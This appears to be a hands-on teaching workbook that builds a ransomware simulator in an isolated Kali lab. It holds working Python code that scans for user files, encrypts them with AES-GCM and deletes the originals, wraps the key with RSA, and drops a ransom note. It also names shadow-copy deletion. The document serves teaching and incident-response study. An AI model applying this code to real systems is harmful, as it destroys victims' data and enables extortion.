Enter the access code provided by your instructor to continue.
DELIGHT Cybersecurity Workbook Series
A self-paced, hands-on guide to understanding how ransomware works — from encryption fundamentals to incident response — designed for Kali Linux on VMware. Every command runs directly in your Kali terminal.
This workbook is written specifically for Kali Linux running inside VMware. Every command in every module runs directly in your Kali terminal — no Docker, no additional VMs, no cloud accounts needed. This section walks you through the complete one-time setup from a fresh Kali VM to a fully functional lab.
Set the network adapter to Host-Only and the VM cannot reach the internet or your real LAN. This replaces Docker's --network none flag.
VMware snapshots let you revert the entire OS state in seconds. Take one before each module. You can never permanently break your lab.
Kali ships with wireshark, tcpdump, xxd, foremost, binwalk, strings, and Python 3.11+ out of the box. Most modules need zero additional installs.
Module 10 and 11 run scripts in parallel. Kali's desktop lets you tile terminal windows or use tmux for split panes — much easier than Docker exec sessions.
In VMware, go to VM → Settings → Network Adapter and change the connection type to Host-only. Click OK. Verify isolation immediately:
# This should FAIL — no internet = correct isolation ping -c 3 8.8.8.8 # Expected output: # ping: connect: Network is unreachable # OR: 3 packets transmitted, 0 received, 100% packet loss # Check your current IP (will be in 192.168.x.x range — host-only) ip a show eth0
Run this entire block once. It installs every library and tool needed across all 12 modules. Copy the whole block, paste it into your Kali terminal, and press Enter.
# ── Python libraries (all modules) ───────────────────────────────── pip3 install cryptography psutil # ── System tools (modules 06, 09, 10) ────────────────────────────── sudo apt update -q sudo apt install -y yara foremost binwalk tmux wireshark-common # ── Verify everything installed correctly ────────────────────────── python3 -c " from cryptography.hazmat.primitives.ciphers.aead import AESGCM from cryptography.hazmat.primitives.asymmetric import rsa import psutil print('✓ cryptography library OK') print('✓ psutil library OK') print(f'✓ Python {__import__(\"sys\").version.split()[0]}') " yara --version && echo "✓ YARA OK" foremost -V 2>/dev/null | head -1 && echo "✓ foremost OK" echo "✓ All dependencies ready — proceed to lab setup"
All lab work lives under ~/lab/ in your home directory. This one command creates the full folder tree used by every module in the workbook.
# Create the complete directory tree mkdir -p ~/lab/{victims,keys,forensics} mkdir -p ~/lab/attacker/{module_04,module_05,module_06,module_07,module_08,module_09,module_10,purple_team} # Verify structure tree ~/lab 2>/dev/null || find ~/lab -type d | sort # Expected output: # /home/kali/lab # ├── attacker # │ ├── module_04 # │ ├── module_05 ... etc # ├── forensics # ├── keys # └── victims
These dummy files are what the simulation will "encrypt." They must exist before you run any module 04+ exercises. Run this block to create them all at once.
cd ~/lab/victims # Plain text documents for i in $(seq -w 1 10); do echo "Confidential document $i Q3 Revenue: \$4.2M | Employees: 312 | Project Alpha: ACTIVE Classification: INTERNAL — do not distribute" > doc_$i.txt done # CSV data files echo "salary,name,department,hire_date 95000,Alice Chen,Engineering,2019-03-15 87000,Bob Okafor,Finance,2020-07-22 112000,Carol Singh,Management,2018-01-10 74000,Dave Lima,Sales,2021-11-30" > salary_2024.csv echo "customer_id,name,email,spend_usd 1001,Acme Corp,billing@acme.com,45200 1002,Beta LLC,accounts@beta.io,12800" > customer_data.csv # SQL backup file echo "-- Database backup 2024-Q3 CREATE TABLE users (id INT, name VARCHAR(100), password_hash VARCHAR(64)); INSERT INTO users VALUES (1,'admin','5f4dcc3b5aa765d61d8327deb882cf99'); INSERT INTO users VALUES (2,'alice','d8578edf8458ce06fbc5bb76a58c5ca4');" > database_backup.sql # Contract document echo "SERVICE AGREEMENT — Contract #2024-Q3-447 Between: Acme Corp (Client) and TechSec Ltd (Provider) Value: \$240,000 annually | Duration: 24 months Signed: 2024-09-01" > contract_2024.txt # Fake binary files (simulate jpg/pdf without needing real images) python3 -c "import os; open('photo_001.jpg','wb').write(b'\xff\xd8\xff\xe0' + os.urandom(2048))" python3 -c "import os; open('report_q3.pdf','wb').write(b'%PDF-1.4' + os.urandom(4096))" # Canary files (for Module 07 — named alphabetically first) echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_alpha.txt echo "CANARY — DO NOT MODIFY — $(date)" > AAA_canary_beta.txt # Verify all files created echo "" echo "=== Victim directory contents ===" ls -lh ~/lab/victims/ echo "" echo "Total files: $(ls ~/lab/victims/ | wc -l)"
Every code block in this workbook shows a filename in the top-right corner of the code box — for example module_04/encryptor.py. That tells you exactly where to save the file. Here is the workflow you will repeat for every exercise:
Step 1 — Open a text editor and create the file nano ~/lab/attacker/module_04/encryptor.py Step 2 — Paste the code from the workbook Ctrl+Shift+V to paste into the terminal Ctrl+X → Y → Enter to save and exit nano Step 3 — Navigate to the correct directory cd ~/lab/attacker/module_04/ Step 4 — Run the script python3 encryptor.py Step 5 — Review output, complete the exercise reflection box Step 6 — Before next module: take a VMware snapshot VM → Snapshot → Take Snapshot → name it "after-module-04"
nano works perfectly. For longer scripts, open a file manager, navigate to ~/lab/attacker/, and create files there with mousepad. All three approaches work identically.
Modules 10 and 11 require two or three scripts running simultaneously. tmux splits your single terminal into panes — no need to open multiple windows.
# Start a named tmux session tmux new-session -s lab # Inside tmux — essential shortcuts: # Ctrl+B then % → split pane vertically (left/right) # Ctrl+B then " → split pane horizontally (top/bottom) # Ctrl+B then → → move to right pane # Ctrl+B then ← → move to left pane # Ctrl+B then d → detach session (session keeps running) # tmux attach -t lab → reattach to lab session # Ctrl+B then x → kill current pane # Quick 3-pane layout for Module 11 purple team exercise: tmux new-session -s purpleteam \; \ split-window -h \; \ split-window -v \; \ select-pane -t 0 # Result: left pane = blue monitor, top-right = C2 server, bottom-right = red team
Everything below is already installed if you ran the one-time setup in section 1.3. This table is a quick reference if you need to reinstall or troubleshoot a specific module.
| Module | What You Need | Install Command (if missing) | Terminals |
|---|---|---|---|
| 01 — Setup | bash, tree | sudo apt install -y tree | 1 |
| 02 — Crypto Basics | cryptography | pip3 install cryptography | 1 |
| 03 — Architecture | None (theory) | — | 1 |
| 04 — Encryption Engine | cryptography | pip3 install cryptography | 1 |
| 05 — Key Management | cryptography | pip3 install cryptography | 1 |
| 06 — Forensics | foremost, binwalk, xxd | sudo apt install -y foremost binwalk | 1 |
| 07 — IR & Defence | cryptography | pip3 install cryptography | 2 (tmux) |
| 08 — Evasion | psutil | pip3 install psutil | 1 |
| 09 — YARA Rules | yara | sudo apt install -y yara | 1 |
| 10 — Network / C2 | tcpdump, wireshark-common | sudo apt install -y wireshark-common | 2 (tmux) |
| 11 — Purple Team | All of the above | Run 1.3 setup block | 3 (tmux) |
| 12 — Case Studies | None (analysis) | — | 1 |
Get into the habit of taking a snapshot before each module. If your encryption exercise corrupts the victim files unexpectedly, one click returns you to exactly where you started.
# GUI method (easiest): # VMware menu → VM → Snapshot → Take Snapshot # Name: "before-module-04" → Click OK # To restore a snapshot: # VM → Snapshot → Snapshot Manager → select snapshot → Go To # ────────────────────────────────────────────────────────────────── # IMPORTANT: also reset victim files between module runs # If you ran the encryptor and want a fresh start WITHOUT reverting: # Delete encrypted files and rebuild victim directory find ~/lab/victims/ -name "*.locked" -delete find ~/lab/victims/ -name "ENCRYPTED_KEY.bin" -delete find ~/lab/victims/ -name "README*" -delete # Recreate fresh dummy files (re-run section 1.5 block) bash ~/lab/reset_victims.sh # after you save section 1.5 as this script
~/lab/reset_victims.sh, and run chmod +x ~/lab/reset_victims.sh. Then between module runs you can reset the victim directory with a single command: bash ~/lab/reset_victims.sh.
Objective: Confirm your Kali VM is correctly isolated, all dependencies are installed, and the lab directory is ready before proceeding to any coding module.
In VMware: VM → Snapshot → Take Snapshot. Name it clean-baseline. Do not skip this.
Open a terminal. Run ping -c 2 8.8.8.8. Confirm it fails. If it succeeds, fix the VMware network adapter setting before continuing.
Copy and paste the entire section 1.3 block into your terminal. Confirm all three ✓ lines print without errors.
Run the section 1.4 command and confirm the directory tree exists under ~/lab/.
Run the section 1.5 block. Confirm ls -lh ~/lab/victims/ shows at least 15 files including AAA_canary_alpha.txt.
Run: python3 -c "from cryptography.hazmat.primitives.ciphers.aead import AESGCM; print('✓ Lab ready')". If it prints ✓ Lab ready, proceed to Module 02.
python3 --version and yara --version here. Did the ping test fail as expected? How many files are in ~/lab/victims/?Modern ransomware is, at its core, a cryptography problem. To understand how ransomware works — and how to defeat it — you need a firm grasp of the cryptographic primitives it exploits. This module covers everything you need without a mathematics degree.
One key does both encryption and decryption. Extremely fast. Used for bulk data. AES-256 is the gold standard.
A key pair: public key encrypts, private key decrypts. Slower but solves key distribution. RSA-4096 or ECC is typical.
Ransomware typically combines both: symmetric AES for speed (it encrypts your files), and asymmetric RSA to protect the AES key (the attacker holds the RSA private key as leverage).
| Algorithm | Type | Key Size | Used For | Breakable? |
|---|---|---|---|---|
| AES-256-CBC | Symmetric | 256-bit | File content encryption | No (practical) |
| AES-256-GCM | Symmetric + AEAD | 256-bit | File encryption with integrity | No (practical) |
| RSA-2048 | Asymmetric | 2048-bit | Key encryption (wrapping AES key) | Marginal (with effort) |
| RSA-4096 | Asymmetric | 4096-bit | Key encryption — more robust | No (practical) |
| ECC (P-256) | Asymmetric | 256-bit | Modern ransomware key wrapping | No (practical) |
| ChaCha20-Poly1305 | Symmetric stream + AEAD | 256-bit | Mobile/ARM file encryption | No (practical) |
| XOR cipher | Symmetric | Variable | Loader obfuscation (not file enc.) | Yes (trivially) |
AES (Advanced Encryption Standard) operates on 128-bit blocks of data. It applies a series of mathematical transformations — SubBytes, ShiftRows, MixColumns, and AddRoundKey — over multiple rounds (14 rounds for AES-256).
Before building the ransomware simulator, let's understand the primitives. Run this code in your Kali terminal and observe the output at each step.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import os, base64 # ─── Step 1: Generate a cryptographically random 256-bit key ─── key = os.urandom(32) # 32 bytes × 8 = 256 bits iv = os.urandom(16) # AES block size is always 128 bits print(f"Key (hex): {key.hex()}") print(f"IV (hex): {iv.hex()}") # ─── Step 2: Encrypt a plaintext message ─── plaintext = b"CONFIDENTIAL: Q3 revenue = $4.2M" # PKCS7 padding — pads to a multiple of 16 bytes from cryptography.hazmat.primitives import padding padder = padding.PKCS7(128).padder() padded = padder.update(plaintext) + padder.finalize() cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) enc = cipher.encryptor() ciphertext = enc.update(padded) + enc.finalize() print(f"\nPlaintext : {plaintext}") print(f"Ciphertext: {base64.b64encode(ciphertext).decode()}") print(f"Length : {len(ciphertext)} bytes (from {len(plaintext)} bytes)") # ─── Step 3: Decrypt using the same key + IV ─── dec = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()).decryptor() padded_pt = dec.update(ciphertext) + dec.finalize() unpadder = padding.PKCS7(128).unpadder() recovered = unpadder.update(padded_pt) + unpadder.finalize() print(f"\nDecrypted : {recovered}") print(f"Match : {recovered == plaintext}")
Objective: Observe how changing a single bit of the key, IV, or ciphertext affects decryption.
Save the code above as ~/lab/attacker/module_02/exercise_02a_aes_basics.py, then run cd ~/lab/attacker/module_02 && python3 exercise_02a_aes_basics.py. Note the ciphertext length.
Change a single byte of the ciphertext variable (e.g. ciphertext = bytes([ciphertext[0] ^ 1]) + ciphertext[1:]), then attempt decryption. What happens?
Keep the key correct but supply iv = os.urandom(16) at decryption time. What is recovered?
Replace modes.CBC(iv) with modes.ECB() and encrypt the string "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Inspect the ciphertext — do you notice repeating blocks?
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding from cryptography.hazmat.primitives import hashes, serialization import os # ─── Generate a 4096-bit RSA key pair ─── private_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, ) public_key = private_key.public_key() # Serialize keys to PEM format (how they're saved to disk) pem_private = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption() ) pem_public = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) print("=== Public Key (safe to share) ===") print(pem_public.decode()) print("=== Private Key (attacker keeps this!) ===") print(pem_private.decode()[:200], "...") # ─── Encrypt a small AES key with RSA (OAEP padding) ─── aes_key = os.urandom(32) # This is the key that encrypts victim files encrypted_aes_key = public_key.encrypt( aes_key, asym_padding.OAEP( mgf=asym_padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) print(f"\nOriginal AES key (32 bytes): {aes_key.hex()}") print(f"RSA-encrypted key ({len(encrypted_aes_key)} bytes): {encrypted_aes_key.hex()[:64]}...") # ─── Decrypt with private key (simulating attacker's decryptor) ─── recovered_aes_key = private_key.decrypt( encrypted_aes_key, asym_padding.OAEP( mgf=asym_padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) print(f"\nRecovered AES key: {recovered_aes_key.hex()}") print(f"Keys match: {aes_key == recovered_aes_key}")
Type any text below and see it encrypted in real time using the Web Crypto API (AES-256-GCM). This is the same primitive ransomware uses on your files.
Q1. A ransomware sample uses RSA-4096 to encrypt each victim file directly. What is the primary drawback of this approach?
Q2. Why is a unique IV (Initialisation Vector) required for each file encrypted with the same AES key?
Real-world ransomware is not a single script — it's a coordinated system with distinct components operating across multiple phases. Understanding the architecture tells you both how attacks succeed and where defenders can intervene.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER INFRASTRUCTURE │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ C2 Server │────▶│ Key Server │ │ Payment │ │
│ │ (Tor/VPS) │ │ RSA keypair │ │ Portal │ │
│ └──────┬───────┘ └──────────────┘ └──────────────┘ │
└──────────┼──────────────────────────────────────────────────────┘
│ (encrypted comms / Tor)
▼
┌─────────────────────────────────────────────────────────────────┐
│ VICTIM SYSTEM │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ RANSOMWARE PAYLOAD │ │
│ │ │ │
│ │ ┌────────────┐ ┌────────────┐ ┌────────────────────┐ │ │
│ │ │ Dropper │ │ Recon │ │ Crypto Engine │ │ │
│ │ │ (loader) │─▶│ Module │─▶│ AES-256 per file │ │ │
│ │ └────────────┘ └────────────┘ └─────────┬──────────┘ │ │
│ │ │ │ │
│ │ ┌────────────┐ ┌────────────┐ ┌────────▼──────────┐ │ │
│ │ │ Ransom │ │ C2 Comms │ │ Key Manager │ │ │
│ │ │ Note Gen │ │ (sends key)│◀─│ RSA-wrap AES key │ │ │
│ │ └────────────┘ └────────────┘ └───────────────────┘ │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 📁 /Documents 📁 /Desktop 📁 /Downloads → 🔒 ENCRYPTED │
└─────────────────────────────────────────────────────────────────┘
This is the heart of why ransomware is so effective. The victim has everything needed except the attacker's private RSA key.
ENCRYPTED_KEY.bin. The plaintext AES key is then wiped from memory..locked or similar extension.vssadmin delete shadows /all). Backup folders are targeted. Recycle Bin is emptied.ENCRYPTED_KEY.bin, recovering the AES key. They provide a decryptor tool with the key embedded.| Family | First Seen | Encryption | Notable Feature |
|---|---|---|---|
| WannaCry | 2017 | AES-128-CBC + RSA-2048 | EternalBlue SMB worm; killswitch domain |
| REvil / Sodinokibi | 2019 | AES-256-CTR + Curve25519 | RaaS model; double extortion |
| Ryuk | 2018 | AES-256 + RSA-4096 | Targeted enterprises; destroys backups |
| BlackCat / ALPHV | 2021 | AES-256 / ChaCha20 + RSA | Written in Rust; cross-platform (Linux/Windows) |
| LockBit 3.0 | 2022 | AES + RSA + ECC hybrid | Fastest encryption speed; bug bounty program |
| CryptoLocker | 2013 | AES-256-CBC + RSA-2048 | Original modern ransomware blueprint |
You'll now build each component of the simulation incrementally, testing at each step. We use the cryptography library exclusively — no system calls, no network access, no shadow copy deletion. This is purely a study of the cryptographic mechanics.
Module 04 has three Python scripts that work together. You must save and understand them in order before running anything:
Path objects. This mimics what ransomware does in its reconnaissance phase.file_scanner to find targets, loops through them calling encryptor, writes a forensic log, then waits for you to press Enter before decrypting everything back.~/lab/victims/ and replaces them with .locked versions. If the script fails midway (e.g. a typo in the code), some files will be encrypted and the rest will be gone. A snapshot restores everything in one click. Never skip this step before any module that modifies victim files.
~/lab/victims/ — never change VICTIM_DIR to point at your real home directory or Desktopbash ~/lab/reset_victims.sh or revert to your snapshot~/lab/attacker/module_04/ because orchestrator.py does from file_scanner import scan_targets and from encryptor import encrypt_file, decrypt_file. Python looks for those modules in the same directory as the script being run. If the files are in different folders, you will get a ModuleNotFoundError. Always run the orchestrator with:cd ~/lab/attacker/module_04/ && python3 orchestrator.py
The file scanner is the first component the simulated ransomware runs. Its job is simple: walk a directory tree and return a list of files whose extensions match a predefined target list. This is how real ransomware decides what to encrypt — it ignores system files (which would break the OS) and focuses on user-created data.
Pay attention to the SKIP_DIRS set. Real ransomware skips folders like Windows, Program Files, and System32 deliberately — encrypting those would make the machine unbootable, which defeats the purpose of demanding a ransom. Leaving the system functional but data inaccessible is the intended outcome.
import os from pathlib import Path TARGET_EXTENSIONS = { '.txt', '.pdf', '.docx', '.xlsx', '.csv', '.jpg', '.png', '.sql', } SKIP_DIRS = {'System32', 'Windows', 'Program Files'} def scan_targets(root_dir: str) -> list[Path]: """ Walk the directory tree and return all target file paths. Skips already-encrypted files (.locked extension). """ targets = [] root = Path(root_dir) for path in root.rglob('*'): # Skip directories and already-encrypted files if not path.is_file(): continue if path.suffix == '.locked': continue # Skip system directories if any(skip in path.parts for skip in SKIP_DIRS): continue if path.suffix.lower() in TARGET_EXTENSIONS: targets.append(path) return targets if __name__ == '__main__': # SAFE: only scan our dummy victim directory victims = scan_targets(str(Path.home() / 'lab/victims')) print(f"Found {len(victims)} target files:") for f in victims: size = f.stat().st_size print(f" {f.name:30s} {size:>8,} bytes")
This is the most important script in the module. Read it carefully before saving it. Each function does exactly one thing — encrypt_file encrypts a single file and returns the path to the new .locked file; decrypt_file reverses the process.
The custom file header is the key concept here. When a file is encrypted, the original content is unrecoverable without knowing: (1) the AES key, and (2) the nonce (IV) used for that specific file. The nonce must be stored somewhere — and since it does not need to be secret, we embed it directly into the encrypted file using a custom binary header. This is exactly the pattern used by real ransomware families including WannaCry and LockBit.
The header layout is:
Byte offset Size Contents
──────────────────────────────────────────────────────
0 – 3 4 bytes Magic number: ASCII "LOCK" (0x4C 0x4F 0x43 0x4B)
→ Identifies this as our encrypted format
4 – 7 4 bytes Version number: 0x01 0x00 0x00 0x00 (little-endian)
→ Allows future format changes without breaking old decryptors
8 – 19 12 bytes GCM Nonce (randomly generated per file)
→ CRITICAL: unique per encryption; stored here for decryption
20 – 23 4 bytes Original file size (little-endian uint32)
→ Used to strip any padding after decryption
24 – end N bytes AES-256-GCM ciphertext + 16-byte authentication tag
→ The tag is appended by the library automatically
The 16-byte GCM authentication tag appended at the end is what makes GCM different from CBC. When you decrypt, GCM re-computes the tag and compares it. If the ciphertext was tampered with — even a single bit changed — the tag will not match and decrypt_file will raise an InvalidTag exception. This is why you will never get silently corrupted plaintext from GCM; you get an explicit error instead.
import os, json, struct from pathlib import Path from cryptography.hazmat.primitives.ciphers.aead import AESGCM """ FILE FORMAT after encryption: ┌─────────────────────────────────────────────┐ │ 4 bytes │ Magic number "LOCK" │ │ 4 bytes │ Version (0x01) │ │ 12 bytes │ GCM Nonce (IV) │ │ 4 bytes │ Original file size │ │ N bytes │ Ciphertext + 16-byte GCM tag │ └─────────────────────────────────────────────┘ """ MAGIC = b'LOCK' VERSION = 1.to_bytes(4, 'little') def encrypt_file(filepath: Path, aes_key: bytes) -> Path: """ Encrypt a single file in-place using AES-256-GCM. Returns path to the new .locked file. Raises ValueError if file is already encrypted. """ if filepath.suffix == '.locked': raise ValueError(f"File already encrypted: {filepath}") # Read original content plaintext = filepath.read_bytes() original_size = len(plaintext) # Generate a fresh 96-bit (12-byte) nonce for GCM # CRITICAL: Never reuse a nonce with the same key nonce = os.urandom(12) # Encrypt using AES-256-GCM # Additional data binds the metadata to this ciphertext aesgcm = AESGCM(aes_key) ciphertext = aesgcm.encrypt(nonce, plaintext, aad=None) # Build the encrypted file with our custom header header = ( MAGIC + VERSION + nonce + struct.pack('<I', original_size) ) # Write .locked file and remove original locked_path = filepath.with_suffix(filepath.suffix + '.locked') locked_path.write_bytes(header + ciphertext) filepath.unlink() # Delete original (overwrite first in production) return locked_path def decrypt_file(locked_path: Path, aes_key: bytes) -> Path: """ Decrypt a .locked file. Verifies GCM authentication tag before returning plaintext. Raises InvalidTag if key is wrong. """ raw = locked_path.read_bytes() # Parse our custom header if raw[:4] != MAGIC: raise ValueError("Not a LOCK-format encrypted file") nonce = raw[8:20] original_size = struct.unpack('<I', raw[20:24])[0] ciphertext = raw[24:] # Decrypt — GCM automatically verifies the auth tag aesgcm = AESGCM(aes_key) plaintext = aesgcm.decrypt(nonce, ciphertext, aad=None) # Restore original filename and write original_path = locked_path.with_suffix('') # removes .locked original_path.write_bytes(plaintext[:original_size]) locked_path.unlink() return original_path
The orchestrator is the entry point — the only script you actually run directly. It coordinates the scanner and encryptor, handles errors gracefully so one bad file does not abort the whole run, and writes a detailed JSON log to ~/lab/forensics/encryption_log.json that you will analyse in Module 06.
Important — the key storage shortcut: In this module the AES key is temporarily saved in plaintext to ~/lab/keys/aes_key.bin. This is a deliberate lab simplification so you can safely decrypt everything at the end. In a real ransomware attack this never happens — the plaintext key is immediately wrapped with the attacker's RSA public key and wiped from memory. Module 05 adds that RSA layer. The comment in the code flags this distinction explicitly.
The pause before decryption: The input() call at the bottom of the script pauses and waits for you to press Enter before running the decryption phase. Use this window to inspect your work — run xxd ~/lab/victims/doc_01.txt.locked | head -3 to see the binary header, check ls ~/lab/victims/ to confirm the .locked extensions, and open the JSON log. Once you press Enter, all original files are restored and the .locked versions are deleted.
import os, time, json from pathlib import Path from file_scanner import scan_targets from encryptor import encrypt_file, decrypt_file VICTIM_DIR = str(Path.home() / 'lab/victims') KEY_DIR = str(Path.home() / 'lab/keys') LOG_PATH = Path.home() / 'lab/forensics/encryption_log.json' def run_encryption_phase(): """ Main orchestration function. Demonstrates the attacker's perspective. """ print("[*] Starting encryption phase...") # 1. Generate master AES key aes_key = os.urandom(32) print(f"[*] Generated AES-256 key: {aes_key.hex()[:16]}... (truncated)") # In a real attack: key is RSA-wrapped here (see Module 05) # For now: store plaintext to enable safe decryption testing Path(KEY_DIR).mkdir(exist_ok=True) (Path(KEY_DIR) / 'aes_key.bin').write_bytes(aes_key) print(f"[*] Key saved to {KEY_DIR}/aes_key.bin") # 2. Scan for targets targets = scan_targets(VICTIM_DIR) print(f"[*] Found {len(targets)} target files") # 3. Encrypt each file, log results log = {'timestamp': time.time(), 'encrypted': [], 'errors': []} start = time.time() for target in targets: try: locked = encrypt_file(target, aes_key) log['encrypted'].append({ 'original': str(target), 'locked' : str(locked), 'size' : locked.stat().st_size, }) print(f" [+] Encrypted: {target.name} → {locked.name}") except Exception as e: log['errors'].append({'file': str(target), 'error': str(e)}) print(f" [-] Error on {target.name}: {e}") elapsed = time.time() - start log['elapsed_seconds'] = round(elapsed, 3) # 4. Write forensic log (attackers don't do this — you will analyse it) LOG_PATH.parent.mkdir(exist_ok=True) LOG_PATH.write_text(json.dumps(log, indent=2)) print(f"\n[*] Done. {len(log['encrypted'])} files encrypted in {elapsed:.3f}s") print(f"[*] Forensic log saved to {LOG_PATH}") return aes_key def run_decryption_phase(aes_key: bytes): """Simulate the victim's decryption after paying ransom.""" print("\n[*] Starting decryption phase...") locked_files = list(Path(VICTIM_DIR).rglob('*.locked')) print(f"[*] Found {len(locked_files)} locked files to restore") for locked in locked_files: restored = decrypt_file(locked, aes_key) print(f" [+] Restored: {locked.name} → {restored.name}") print("[*] Decryption complete. All files restored.") if __name__ == '__main__': key = run_encryption_phase() input("\nPress ENTER to run decryption phase (simulates paying ransom)...") run_decryption_phase(key)
Watch the encryption process unfold file by file. Toggle between "encrypt" and "decrypt" to see recovery.
Objective: Examine the binary structure of an encrypted file to understand what forensic artefacts are present.
Save file_scanner.py, encryptor.py, and orchestrator.py all into ~/lab/attacker/module_04/. Then run:cd ~/lab/attacker/module_04 && python3 orchestrator.py
Confirm all files in ~/lab/victims/ now have the .locked extension.
Run xxd ~/lab/victims/doc_01.txt.locked | head -5. You should see the magic bytes 4c 4f 43 4b (ASCII: LOCK) at the start.
Write a short Python snippet to read bytes 8–20 from a locked file and print them as hex. Verify it changes each time you re-encrypt (proving fresh nonce generation).
Modify decrypt_file to use an incorrect key (os.urandom(32)). What exception is raised?
Read ~/lab/forensics/encryption_log.json with cat ~/lab/forensics/encryption_log.json. How long did encryption take? What is the ratio of ciphertext size to plaintext size?
A ransomware that stores the AES key on the victim's machine in plaintext is trivially broken — forensic investigators would simply extract it. This module adds the RSA key-wrapping layer that makes modern ransomware cryptographically robust.
In Module 04, the AES key was saved in plaintext to ~/lab/keys/aes_key.bin. That was a lab shortcut. Module 05 replaces that shortcut with the real mechanism:
ENCRYPTED_KEY.bin.ENCRYPTED_KEY.bin to get the AES key back.key_size=4096 to key_size=2048 for the lab — it generates much faster and the concepts are identical. Real ransomware uses 4096-bit keys because they are considered secure beyond 2040.
Read the diagram below carefully before touching any code. Every step in this chain exists for a specific reason. If you skip or reorder any step, the security model breaks.
import os from pathlib import Path from cryptography.hazmat.primitives.asymmetric import rsa, padding as ap from cryptography.hazmat.primitives import hashes, serialization # ═══ ATTACKER SIDE: Run once offline to generate key pair ════════ def attacker_generate_keypair(key_dir: str = None): if key_dir is None: key_dir = str(Path.home() / 'lab/keys') """ Generates attacker RSA-4096 key pair. In a real attack: private key NEVER leaves attacker's server. Public key is embedded in the ransomware payload. """ private_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, ) public_key = private_key.public_key() # Serialize pem_priv = private_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption() ) pem_pub = public_key.public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo ) kd = Path(key_dir) kd.mkdir(exist_ok=True) (kd / 'attacker_private.pem').write_bytes(pem_priv) # stays with attacker (kd / 'attacker_public.pem').write_bytes(pem_pub) # embedded in payload print("[ATTACKER] RSA-4096 key pair generated") return private_key, public_key # ═══ PAYLOAD SIDE: Runs on victim machine ════════════════════════ def wrap_aes_key(aes_key: bytes, public_key_path: str) -> bytes: """ Encrypts the AES key using the attacker's RSA public key. Returns an opaque blob that only the attacker can decrypt. """ pem = Path(public_key_path).read_bytes() public_key = serialization.load_pem_public_key(pem) encrypted_key = public_key.encrypt( aes_key, ap.OAEP( mgf=ap.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) return encrypted_key def save_encrypted_key_blob(encrypted_key: bytes, output_dir: str): """Saves the RSA-wrapped AES key to disk for the attacker to retrieve.""" blob_path = Path(output_dir) / 'ENCRYPTED_KEY.bin' blob_path.write_bytes(encrypted_key) print(f"[PAYLOAD] Encrypted key blob saved: {blob_path} ({len(encrypted_key)} bytes)") # ═══ ATTACKER SIDE: Recovery (simulates decryptor delivery) ══════ def unwrap_aes_key(encrypted_key_path: str, private_key_path: str) -> bytes: """ Decrypts the AES key blob using the attacker's RSA private key. This is what happens after ransom is paid — attacker runs their decryptor. """ encrypted_key = Path(encrypted_key_path).read_bytes() pem = Path(private_key_path).read_bytes() private_key = serialization.load_pem_private_key(pem, password=None) aes_key = private_key.decrypt( encrypted_key, ap.OAEP( mgf=ap.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) print(f"[ATTACKER] AES key recovered: {aes_key.hex()[:16]}...") return aes_key # ═══ Demo run ════════════════════════════════════════════════════ if __name__ == '__main__': # Step 1: Attacker generates key pair _, pub = attacker_generate_keypair() # Step 2: Payload generates a random AES key aes_key = os.urandom(32) print(f"\n[PAYLOAD] Generated AES key: {aes_key.hex()}") # Step 3: Wrap AES key with RSA public key blob = wrap_aes_key(aes_key, str(Path.home() / 'lab/keys/attacker_public.pem')) save_encrypted_key_blob(blob, str(Path.home() / 'lab/victims')) # Step 4: Wipe the plaintext AES key from memory aes_key = None # In C, you'd memset(key, 0, 32) — Python is GC'd print("\n[PAYLOAD] AES key wiped from memory. Files encrypted. Ransom note dropped.") # Step 5: Attacker recovers key after payment print("\n--- Simulating ransom payment received ---\n") recovered_key = unwrap_aes_key( str(Path.home() / 'lab/victims/ENCRYPTED_KEY.bin'), str(Path.home() / 'lab/keys/attacker_private.pem') )
import os, hashlib, time from pathlib import Path def generate_victim_id() -> str: """Generate a unique victim ID (hash of machine fingerprint).""" fingerprint = ( os.uname().nodename + str(os.getuid()) + str(time.time()) ).encode() return hashlib.sha256(fingerprint).hexdigest()[:16].upper() def drop_ransom_note(target_dir: str, encrypted_count: int, payment_address: str): """ Writes a ransom note HTML file to the target directory. This is purely for educational demonstration. """ victim_id = generate_victim_id() note_path = Path(target_dir) / 'README_YOUR_FILES_ARE_ENCRYPTED.html' note_content = f""" <html><body style="font-family:monospace;background:#111;color:#eee;padding:40px"> <h1 style="color:#e85d3a">YOUR FILES HAVE BEEN ENCRYPTED</h1> <p>{encrypted_count} files on this system have been encrypted using AES-256-GCM.</p> <p>Without the decryption key, recovery is IMPOSSIBLE.</p> <hr> <h2>How to recover your files</h2> <p>Your unique victim ID: <strong>{victim_id}</strong></p> <p>Send payment to: <code>{payment_address}</code></p> <p>Contact us with your victim ID to receive your decryption key.</p> <hr> <p style="color:#888;font-size:12px">[THIS IS A SIMULATION — FOR EDUCATIONAL USE ONLY]</p> </body></html> """ note_path.write_text(note_content) print(f"[*] Ransom note written to {note_path}") return victim_id
Objective: Run the complete encryption pipeline from key generation through file encryption to key wrapping, then reverse it.
